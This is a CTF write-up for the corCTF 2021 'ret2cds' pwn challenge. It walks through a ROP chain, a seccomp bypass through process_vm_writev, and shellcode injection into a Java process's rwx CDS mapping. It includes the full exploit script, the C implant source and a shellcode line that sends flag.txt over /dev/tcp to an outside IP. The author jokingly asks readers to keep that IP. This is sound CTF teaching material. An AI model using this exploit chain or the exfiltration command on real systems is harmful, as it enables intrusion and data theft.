Rating:
# <https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/ret2cds>
## fair warning: ctftime mangles emojis. click the link ^^^^
# ret2cds
by [haskal](https://awoo.systems)
pwn / 497 pts / 6 solves
>Pwners keep joking about dropping socat and xinetd 0 days so I rewrote netcat in java. I dare you
>to pop a shell on me now :^)
>
>https://ret2cds.be.ax/
>
>NOTE: Internet is enabled, please use the provided qemu image, and note that this has been tested to
>work in a Debian environment for the Docker host. An Ubuntu host is known to have issues with the
>official solution for the challenge. If you are on Debian, the docker deployment should work for you
>if you don't want to use the qemu image (but not guaranteed).
>
>QEMU Image: ret2cds-qemu.qcow2.gz
>
>QEMU Example: qemu-system-x86_64 -enable-kvm -serial mon:stdio -hda ret2cds.qcow2 -nographic -smp 1
>-m 1G -net user,hostfwd=tcp::1337-:1337 -net nic
>
>QEMU Username: root (no password)
>
>Docker: ret2cds.tar
provided files (i'm only providing the binaries here not the whole qemu image cause that is huge):
[ret2cds/](https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/ret2cds/challenge)
## solution
pwn time
basic analysis of the binary shows that it is using seccomp (also, there is seccomp on the docker
image used for the challenge, but the binary's seccomp rules are much more restrictive)
here's the main function in the dragn
![main function, it's literally just a 512 byte read into a 256 byte buffer](https://git.lain.faith/BLAHAJ/writeups/raw/branch/writeups/2021/corctf/ret2cds/main.png)
yea
ok so first let's get the seccomp rules. for this i used
<https://github.com/david942j/seccomp-tools> and just like, had it run the binary, (yes i probably
shouldn't be running CTF binaries on my actual machine but shush)
this produces output [https://git.lain.faith/BLAHAJ/writeups/src/branch/writeups/2021/corctf/ret2cds/analysis/ret2cds-seccomp.txt](analysis/ret2cds-seccomp.txt). well... most
things are banned
so what isn't banned? since the docker contains its own seccomp config, we cross-reference what is
allowed there with what is banned here and find 2 interesting calls which are allowed by both sets
of configurations
- `process_vm_readv`
- `process_vm_writev`
these are syscalls that allow reading and writing another process's memory given we have ptrace
permission (in docker everything is root, and also the docker config explicitly adds the ptrace
capability, so yes)
## initial pwning
ok we'll get to this later. first we need to bonk the ret2cds process. it's pretty standard just
write the address of write in order to leak the libc base, then jump back to main, then make a
second rop chain to call mmap in libc
well this part got kind of weird, because pwntools ROP could not identify a good gadget to get
control of r9 which was needed to be set to 0 since it's the offset parameter for mmap (r8 garbage
is OK, it gets ignored for anonymous maps by the kernel). so i turn to my trusty uber-ROP gadget
which is `setcontext` (it's a libc call for restoring all registers from a struct on the stack, goes
with `getcontext`). by manual analysis there is a good place to jump into `setcontext` in order to
get control of r9
```asm
// ( in setcontext )
001581e1 4c 8b 4a 30 MOV R9,qword ptr [RDX + 0x30]
001581e5 48 8b 92 MOV RDX,qword ptr [RDX + 0x88]
88 00 00 00
001581ec 31 c0 XOR EAX,EAX
001581ee c3 RET
```
for this we just need `RDX` to be loaded as a pointer to the memory we want to load from, which is
easy cause we have gadgets for `RDX`. we pass in a pointer to some random part of `rodata` such that
the address `r9` gets loaded from ends up being `0`
here's the code so far
```python
elf = ELF("./ret2cds")
rop = ROP(elf)
rop.write(1, elf.got['write'])
libc = ELF("./libc.so.6")
r = remote("ret2cds.be.ax", 38255)
r.recvuntil("warden: ")
# step 1: get write to print the address of write, then go back to main (0x0040123a)
r.sendline(b"A"*256 + b"AAAAAAAA" + rop.chain() + p64(0x0040123a))
print(r.recvline())
print(r.recvline())
leak = r.recvline()[1:8]
leak = u64(leak.ljust(8, b'\x00'))
print(hex(leak))
libc_base = leak - libc.symbols['write']
print(hex(libc_base))
libc.address = libc_base
# now, make part of the ROP for mmap with pwntools
libc_rop = ROP(libc)
# memorize these args lol, that's
# - addr
# - size
# - 7: PROT_READ | PROT_WRITE | PROT_EXECUTE
# - 0x32: MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE
# - -1: no fd
# - 0: no offset
libc_rop.mmap(0x133713370000, 0x10000, 7, 0x32) #, -1, 0)
# read moar shellcode into it
libc_rop.read(0, 0x133713370000, 0x10000)
# handle those pesky remaining args (well, just the last one)
# see the assembly for this gadget above
fucky_r9_gadget = p64(0x581e1 + libc_base)
# load rdx with a pointer to rodata (convenient source of 0x0s) offset so that r9 gets
pre_rop = ROP(libc)
pre_rop.rdx = 0x402008 - 0x30
# send step 2 exploit, then jump to the shellcode we just mapped
r.sendline(b"A"*256 + b"AAAAAAAA" + pre_rop.chain() + fucky_r9_gadget + libc_rop.chain() + p64(0x133713370000))
```
now we have shellcode. but there's still seccomp.....
we can produce the final shellcode tho. it just won't work yet because execve is not allowed
(neither is like, anything bash would be running here)
```python
stage3 = asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/44.44.127.10/1337"], {}))
```
please note: if you are doing CTFs in the future referencing this writeup, make sure to keep the IP
address `44.44.127.10` so that i get yr flags >:3
ok so the path should be clear: use `process_vm_writev` in order to write _more shellcode_ into
_another process_
the only other process is the java netcat replacement
yikes,
the java code itself is not that interesting, and not exploitable as far as i can tell. if you're
interested, you can take a look in [Bytecode Viewer](https://github.com/Konloch/bytecode-viewer) or
[JDA](https://github.com/LLVM-but-worse/java-disassembler)[^1]
from looking at that quickly on the qemu environment, we find something interesting in
`/proc/<pid>/maps` for the java process
```
800000000-800002000 rwxp 00001000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
800002000-8003b9000 rw-p 00003000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
8003b9000-800a95000 r--p 003ba000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
800a95000-800a96000 rw-p 00a96000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
800a96000-8010a3000 r--p 00a97000 fe:00 3441489 /usr/lib/jvm/java-11-openjdk-amd64/lib/server/classes.jsa
```
`classes.jsa` has an `rwx` mapping at what looks like a fixed address... that's a great target for
shellcode[^2]
i'm not super interested in shellcoding a call to `process_vm_writev` ... would be convenient to
write it in C, but i also don't have or want to have (legitimate or illegitimate) a binja license
for their shellcode compiler...
## how 2 make a C implant 2021 tutorial working (no robux)
set it to 136 bpm
make a linker script. it's gonna start at the address where your `mmap` shellcode page is
```ld
ENTRY(_start)
MEMORY
{
RAM (rwx) : ORIGIN = 0x133713370000, LENGTH = 0x10000
}
SECTIONS
{
.text :
{
*(.text.start)
*(.text*)
}
.rodata :
{
*(.rodata*)
}
.data :
{
*(.data*)
}
.bss :
{
_bss = .;
*(.bss*)
*(COMMON)
_ebss = .;
}
}
```
now make a makefile (for convenience). we want to call gcc with the magic spell `-nostdlib
-nodefaultlibs -nostdinc -fpic -fno-stack-protector -Os -T stage2.ld`
basically that's
- don't use any stdlib or standard headers
- make position independent code, skip the stack protector
- optimize for size
- use the given linker script
then objcopy that into a flat binary
```make
.PHONY: all clean copy
CC=gcc
OBJCOPY=objcopy
all: implant.bin
clean:
$(RM) *.bin *.elf
implant.bin: implant.elf
$(OBJCOPY) -O binary $< $@
implant.elf: stage2.c stage2.ld
$(CC) -nostdlib -nodefaultlibs -nostdinc -T stage2.ld -fpic -fno-stack-protector \
-Os -std=gnu11 -Wall -Wextra -o $@ $<
```
add some reverb, and stack the layers
here's some boilerplate C. fun fact, your entrypoint just needs to be at the beginning and it needs
to wipe `.bss` then jump to main. but we also need to redefine literally everything because we opted
to not have any standard headers (this is technically unnecessary, you can use the headers if you
want)
```c
typedef unsigned char uint8_t;
_Static_assert(sizeof(uint8_t) == 1, "uint8_t wrong size");
typedef unsigned short uint16_t;
_Static_assert(sizeof(uint16_t) == 2, "uint16_t wrong size");
typedef unsigned int uint32_t;
_Static_assert(sizeof(uint32_t) == 4, "uint32_t wrong size");
typedef unsigned long long uint64_t;
_Static_assert(sizeof(uint64_t) == 8, "uint64_t wrong size");
typedef unsigned int size_t;
typedef int ssize_t;
#define NULL ((void*)0x0)
#define pid_t unsigned long
#define true 1
#define false 0
#define SYS_exit 1
#define SYS_read 0
#define SYS_write 1
#define SYS_process_vm_readv 310
#define SYS_process_vm_writev 311
int main();
void __attribute__((noreturn)) exit(int);
void* memset(void* dst, int val, size_t size) {
for (size_t i = 0; i < size; i++) {
((uint8_t*)dst)[i] = val;
}
return dst;
}
void* memcpy(void* dst, const void* src, size_t size) {
for (size_t i = 0; i < size; i++) {
((uint8_t*)dst)[i] = ((uint8_t*)src)[i];
}
return dst;
}
extern uint8_t _bss;
extern uint8_t _ebss;
void __attribute__((noreturn)) __attribute__((section(".text.start"))) _start() {
// wipe .bss
memset(&_bss, 0, (&_ebss) - (&_bss));
// go to main!
exit(main());
}
int main() {
// your code here!!!
while(true){}
return 120;
}
```
ok now that's done, write some syscall wrappers (i'm being very extra with this)
```c
ssize_t read(int _fd, void* _buf, size_t _len) {
register int fd asm("rdi") = _fd;
register void* buf asm("rsi") = _buf;
register size_t len asm("rdx") = _len;
register int syscall asm("rax") = SYS_read;
register ssize_t ret asm("rax");
asm volatile("syscall" : "=r"(ret) : "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");
return ret;
}
void write(int _fd, const void* _buf, size_t _len) {
register int fd asm("rdi") = _fd;
register const void* buf asm("rsi") = _buf;
register size_t len asm("rdx") = _len;
register int syscall asm("rax") = SYS_write;
asm volatile("syscall" :: "r"(fd), "r"(buf), "r"(len), "r"(syscall) : "memory");
}
void __attribute__((noreturn)) exit(int _code) {
register int code asm("rdi") = _code;
register int syscall asm("rax") = SYS_exit;
asm volatile("syscall" :: "r"(code), "r"(syscall) : "memory");
__builtin_unreachable();
}
ssize_t process_vm_readv(pid_t _pid,
const struct iovec *_local_iov,
unsigned long _liovcnt,
const struct iovec *_remote_iov,
unsigned long _riovcnt,
unsigned long _flags) {
register pid_t pid asm("rdi") = _pid;
register struct iovec* local_iov asm("rsi") = _local_iov;
register unsigned long liovcnt asm("rdx") = _liovcnt;
register struct iovec* remote_iov asm("r10") = _remote_iov;
register unsigned long riovcnt asm("r8") = _riovcnt;
register unsigned long flags asm("r9") = _flags;
register int syscall asm("rax") = SYS_process_vm_readv;
register ssize_t ret asm("rax");
asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt), "r"(remote_iov),
"r"(riovcnt), "r"(flags), "r"(syscall) : "memory");
return ret;
}
ssize_t process_vm_writev(pid_t _pid,
const struct iovec *_local_iov,
unsigned long _liovcnt,
const struct iovec *_remote_iov,
unsigned long _riovcnt,
unsigned long _flags) {
register pid_t pid asm("rdi") = _pid;
register struct iovec* local_iov asm("rsi") = _local_iov;
register unsigned long liovcnt asm("rdx") = _liovcnt;
register struct iovec* remote_iov asm("r10") = _remote_iov;
register unsigned long riovcnt asm("r8") = _riovcnt;
register unsigned long flags asm("r9") = _flags;
register int syscall asm("rax") = SYS_process_vm_writev;
register ssize_t ret asm("rax");
asm volatile("syscall" : "=r"(ret) : "r"(pid), "r"(local_iov), "r"(liovcnt), "r"(remote_iov),
"r"(riovcnt), "r"(flags), "r"(syscall) : "memory");
return ret;
}
```
ok _now_ we're ready to send the shellcode using `process_vm_writev`
## how 2 iovec 2021 tutorial working (no robux)
so if you've never seen iovecs (first of all you should try kernel pwn, you'll definitely see
iovecs,) basically it's a way to read and/or write multiple addresses in sequence with one syscall.
you pass in an array of these structs
```c
struct iovec {
void *iov_base; /* Starting address */
size_t iov_len; /* Number of bytes to transfer */
};
```
that's how `process_vm_readv` and `process_vm_writev` are working
now there's one more small detail, which is that we don't know what PID java has. luckily it's low
(usually <10) so we can just spray the shellcode at every process and eventually java will be hit
```c
// this is: asm(shellcraft.amd64.linux.execve("/bin/bash", ["/bin/bash", "-c", "touch /tmp/hax; cat flag.txt > /dev/tcp/35.237.4.96/1337"], {}))
char* buf = "shellcode here";
char buf2[0x2000];
// write to the previously determined rwx pages in the java process
struct iovec remote_vec = { (void*)0x800000000, 0x2000 };
// read from a local shellcode buf
struct iovec local_vec = { &buf2[0], 0x2000 };
int main() {
print("implant is booted\n");
// fill nop sled (0x90 is NOP)
memset(buf2, 0x90, 0x2000);
// add the shellcode at the end
memcpy(&buf2[0x2000 - 186], buf, 186);
for (int i = 2; i < 100; i++) {
print("sending to pid:");
print_int(i);
print("\n");
ssize_t ret = process_vm_writev(i, &local_vec, 1, &remote_vec, 1, 0);
if (ret <= 0) {
print("bad ret!: ");
print_int(-ret);
print("\n");
} else {
print("GOOD RET\n");
break;
}
}
print("injection complete\n");
while(true){}
return 120;
}
```
finally you'll probably need to connect to the endpoint again, in order to trigger the java process
to enter the rwx page and execute your shellcode
the results:
```
❯ python3 exploit.py
[*] '.../ret2cds'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./'
[*] Loaded 14 cached gadgets for '../challenge/chall/ret2cds'
0x0000: 0x40131b pop rdi; ret
0x0008: 0x1 [arg0] rdi = 1
0x0010: 0x401319 pop rsi; pop r15; ret
0x0018: 0x403fc0 [arg1] rsi = got.write
0x0020: b'iaaajaaa' <pad r15>
0x0028: 0x401030 write
[*] '.../libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x111040
[+] Opening connection to ret2cds.be.ax on port 34485: Done
b'\x00\n'
b"lol, you ain't escaping...\n"
0x7f5b8856e040
0x7f5b8845d000
[*] Loaded 200 cached gadgets for '../challenge/chall/libc.so.6'
0x0000: 0x7f5b8856256d pop rdx; pop rcx; pop rbx; ret
0x0008: 0x7 [arg2] rdx = 7
0x0010: 0x32 [arg3] rcx = 50
0x0018: b'gaaahaaa' <pad rbx>
0x0020: 0x7f5b88484529 pop rsi; ret
0x0028: 0x10000 [arg1] rsi = 65536
0x0030: 0x7f5b88483b72 pop rdi; ret
0x0038: 0x133713370000 [arg0] rdi = 21127266500608
0x0040: 0x7f5b88578890 mmap
0x0048: 0x7f5b885791e1 pop rdx; pop r12; ret
0x0050: 0x10000 [arg2] rdx = 65536
0x0058: b'waaaxaaa' <pad r12>
0x0060: 0x7f5b88484529 pop rsi; ret
0x0068: 0x133713370000 [arg1] rsi = 21127266500608
0x0070: 0x7f5b88483b72 pop rdi; ret
0x0078: 0x0 [arg0] rdi = 0
0x0080: 0x7f5b8856dfa0 read
b'm%V\x88[\x7f\x00\x00\x07\x00\x00\x00\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00gaaahaaa)EH\x88[\x7f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00r;H\x88[\x7f\x00\x00\x00\x007\x137\x13\x00\x00\x90\x88W\x88[\x7f\x00\x00\xe1\x91W\x88[\x7f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00waaaxaaa)
EH\x88[\x7f\x00\x00\x00\x007\x137\x13\x00\x00r;H\x88[\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xdfV\x88[\x7f\x00\x00'
make: Nothing to be done for 'all'.
[*] Switching to interactive mode
? Due to the recent security breaches, we have no choice but to lock you up in jail! ?
And just to avoid all those socat/xinetd 0-days you and your pwn friends brag about...
I rewrote netcat in Java ☕.
Nothing can go wrong with a language used on over 13 billion devices ™.
\x00nter your appeal to the warden: \x00
lol, you ain't escaping...
\x00[*] Got EOF while reading in interactive
$
[*] Closed connection to ret2cds.be.ax port 34485
[*] Got EOF while sending in interactive
```
meanwhile on yr listening server
```
$ while true; do nc -vlp 1337; done
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 161.35.128.177.
Ncat: Connection from 161.35.128.177:43098.
corctf{r0p_t0_5h3llc0d3_t0_pWn1n1g_j@v@_rwX_cDs_af179e546321dfac13370}
```
(idk what the 'cds' part of the challege name is supposed to mean. return to ??)
[^1]: JDA is just a cleaned up and slightly prettified fork of Bytecode Viewer, but it's also behind
Bytecode Viewer in terms of a few features (mainly Android)
[^2]: in recent versions of openjdk, this is no longer the case (i think). sad :(
luckily this challenge is using an older version